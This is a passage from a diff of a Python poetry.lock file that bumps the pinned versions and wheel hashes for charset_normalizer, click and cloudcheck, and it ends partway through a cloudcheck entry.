"charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:ab36c8eb7e454e34e60eb55ca5d241a5d18b2c6244f6827a30e451c42410b5f7"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:4c0907b1928a36d5a998d72d64d8eaa7244989f7aaaf947500d3a800c83a3fd6"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:04432ad9479fa40ec0f387795ddad4437a2b50417c69fa275e212933519ff294"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win32.whl", hash = "sha256:3bed14e9c89dcb10e8f3a29f9ccac4955aebe93c71ae803af79265c9ca5644c5"}, - {file = "charset_normalizer-3.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:49402233c892a461407c512a19435d1ce275543138294f7ef013f0b63d5d3765"}, - {file = "charset_normalizer-3.4.1-py3-none-any.whl", hash = "sha256:d98b1668f06378c6dbefec3b92299716b931cd4e6061f3c875a71ced1780ab85"}, - {file = "charset_normalizer-3.4.1.tar.gz", hash = "sha256:44251f18cd68a75b56585dd00dae26183e102cd5e0f9f1466e6df5da2ed64ea3"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d"}, + {file = "charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016"}, + {file = "charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525"}, + {file = "charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14"}, + {file = "charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win32.whl", hash = "sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_amd64.whl", hash = "sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c"}, + {file = "charset_normalizer-3.4.4-cp314-cp314-win_arm64.whl", hash = "sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:ce8a0633f41a967713a59c4139d29110c07e826d131a316b50ce11b1d79b4f84"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:eaabd426fe94daf8fd157c32e571c85cb12e66692f15516a83a03264b08d06c3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c4ef880e27901b6cc782f1b95f82da9313c0eb95c3af699103088fa0ac3ce9ac"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aaba3b0819274cc41757a1da876f810a3e4d7b6eb25699253a4effef9e8e4af"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:778d2e08eda00f4256d7f672ca9fef386071c9202f5e4607920b86d7803387f2"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f155a433c2ec037d4e8df17d18922c3a0d9b3232a396690f17175d2946f0218d"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a8bf8d0f749c5757af2142fe7903a9df1d2e8aa3841559b2bad34b08d0e2bcf3"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:194f08cbb32dc406d6e1aea671a68be0823673db2832b38405deba2fb0d88f63"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:6aee717dcfead04c6eb1ce3bd29ac1e22663cdea57f943c87d1eab9a025438d7"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:cd4b7ca9984e5e7985c12bc60a6f173f3c958eae74f3ef6624bb6b26e2abbae4"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:b7cf1017d601aa35e6bb650b6ad28652c9cd78ee6caff19f3c28d03e1c80acbf"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:e912091979546adf63357d7e2ccff9b44f026c075aeaf25a52d0e95ad2281074"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5cb4d72eea50c8868f5288b7f7f33ed276118325c1dfd3957089f6b519e1382a"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win32.whl", hash = "sha256:837c2ce8c5a65a2035be9b3569c684358dfbf109fd3b6969630a87535495ceaa"}, + {file = "charset_normalizer-3.4.4-cp38-cp38-win_amd64.whl", hash = "sha256:44c2a8734b333e0578090c4cd6b16f275e07aa6614ca8715e6c038e865e70576"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:a9768c477b9d7bd54bc0c86dbaebdec6f03306675526c9927c0e8a04e8f94af9"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bee1e43c28aa63cb16e5c14e582580546b08e535299b8b6158a7c9c768a1f3d"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:fd44c878ea55ba351104cb93cc85e74916eb8fa440ca7903e57575e97394f608"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0f04b14ffe5fdc8c4933862d8306109a2c51e0704acfa35d51598eb45a1e89fc"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd09d08005f958f370f539f186d10aec3377d55b9eeb0d796025d4886119d76e"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4fe7859a4e3e8457458e2ff592f15ccb02f3da787fcd31e0183879c3ad4692a1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa09f53c465e532f4d3db095e0c55b615f010ad81803d383195b6b5ca6cbf5f3"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:7fa17817dc5625de8a027cb8b26d9fefa3ea28c8253929b8d6649e705d2835b6"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:5947809c8a2417be3267efc979c47d76a079758166f7d43ef5ae8e9f92751f88"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:4902828217069c3c5c71094537a8e623f5d097858ac6ca8252f7b4d10b7560f1"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:7c308f7e26e4363d79df40ca5b2be1c6ba9f02bdbccfed5abddb7859a6ce72cf"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:2c9d3c380143a1fedbff95a312aa798578371eb29da42106a29019368a475318"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cb01158d8b88ee68f15949894ccc6712278243d95f344770fa7593fa2d94410c"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win32.whl", hash = "sha256:2677acec1a2f8ef614c6888b5b4ae4060cc184174a938ed4e8ef690e15d3e505"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win_amd64.whl", hash = "sha256:f8e160feb2aed042cd657a72acc0b481212ed28b1b9a95c0cee1621b524e1966"}, + {file = "charset_normalizer-3.4.4-cp39-cp39-win_arm64.whl", hash = "sha256:b5d84d37db046c5ca74ee7bb47dd6cbc13f80665fdde3e8040bdd3fb015ecb50"}, + {file = "charset_normalizer-3.4.4-py3-none-any.whl", hash = "sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f"}, + {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"}, ] [[package]] name = "click" -version = "8.1.8" +version = "8.3.1" description = "Composable command line interface toolkit" optional = false -python-versions = ">=3.7" +python-versions = ">=3.10" groups = ["dev", "docs"] files = [ - {file = "click-8.1.8-py3-none-any.whl", hash = "sha256:63c132bbbed01578a06712a2d1f497bb62d9c1c0d329b7903a866228027263b2"}, - {file = "click-8.1.8.tar.gz", hash = "sha256:ed53c9d8990d83c2a27deae68e4ee337473f6330c040a31d4225c9574d16096a"}, + {file = "click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6"}, + {file = "click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a"}, ] [package.dependencies] @@ -403,105 +437,105 @@ colorama = {version = "*", markers = "platform_system == \"Windows\""} [[package]] name = "cloudcheck" -version = "9.2.0" +version = "9.3.0" description = "Detailed database of cloud providers. Instantly look up a domain or IP address" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "cloudcheck-9.2.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f82f553f4a527bf834039738f411fbd7f32d2dacab251ae4191fc5c5b704fbc6"}, - {file = "cloudcheck-9.2.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4e908315efb9553a26ec13524915b5ddca5e883f2bedf52d08087cf9c6d6f756"}, - {file = "cloudcheck-9.2.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72fba0ee7811b16b9692adfadd5604e28d658f8b9e66772eccefcabab6101a48"}, - {file = "cloudcheck-9.2.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3dcfa8410b6b58af36655bea7f6e377411c462ceabd7d536274d286e01efa4df"}, - {file = "cloudcheck-9.2.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:909c4645588b1f92e4b23e606102bb61824598641843eb45b8b053936a1d86cd"}, - {file = "cloudcheck-9.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1e8351d57dd63fc510aab4915395d2e43ba534cc51b60ee85e85460ef76a19c5"}, - {file = "cloudcheck-9.2.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:06b804093eca2ed7e8c1ccbfb58f4ca508bc86dcef45a21ab1e63ba3f3a08cc2"}, - {file = "cloudcheck-9.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:439fda3bb8e1deb0cc3d73f9d217a8f52a93f22ff4c5969d1ad86e4f1530ab4c"}, - {file = "cloudcheck-9.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:30d5a09186dbc38b634291c319b47857e86b4d4b13124ae691ad4a75aadf2ccf"}, - {file = "cloudcheck-9.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:2796e65a34fa01373cdd278a069df7ad31bbd0d60404c2a39d2ff7d26721e159"}, - {file = "cloudcheck-9.2.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a5da1b55f4ac380e7b0e49d20e9f24455206489a1c9f7d34043f322052ca576d"}, - {file = "cloudcheck-9.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d7b5607314198f9cdf521b112b5a3a89700074334c08fa3793b14454f536f11b"}, - {file = "cloudcheck-9.2.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:773bb786a7a98c20a68fadd69b81ed27acfeccfcd2cb4a35edc6add505092d39"}, - {file = "cloudcheck-9.2.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:58fc0f7f3771aef5a358eb751b76ca5e4443ca497364593b711b4d86792ceef6"}, - {file = "cloudcheck-9.2.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:217a2a5aaad6376941629c146b3573d9abd1ea6107b3cef3bc294933c243634b"}, - {file = "cloudcheck-9.2.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8f03a79da2ce1741c7748a1d2577b2f515728ae076bf1ac966546a83873027f0"}, - {file = "cloudcheck-9.2.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:98fdf86b0ca01e76c237894f9b77560b9fb6793aa9b4f4b26612d86ccae08a9b"}, - {file = "cloudcheck-9.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e757fe6c7453d95d82980e12780a2f88d33d87dcf3826c0b3f3696fef4145587"}, - {file = "cloudcheck-9.2.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:450aab71bd8396d51688fd68fd31213b106cf406639700ac36c880464ecb4b17"}, - {file = "cloudcheck-9.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:b9e706a036db2092b76ee76df0c89df8055e5282d091e43de386cce94f112b09"}, - {file = "cloudcheck-9.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4909f9c5a12eca8899991a5f168e9e86658f5743a95af443788ab4564912177d"}, - {file = 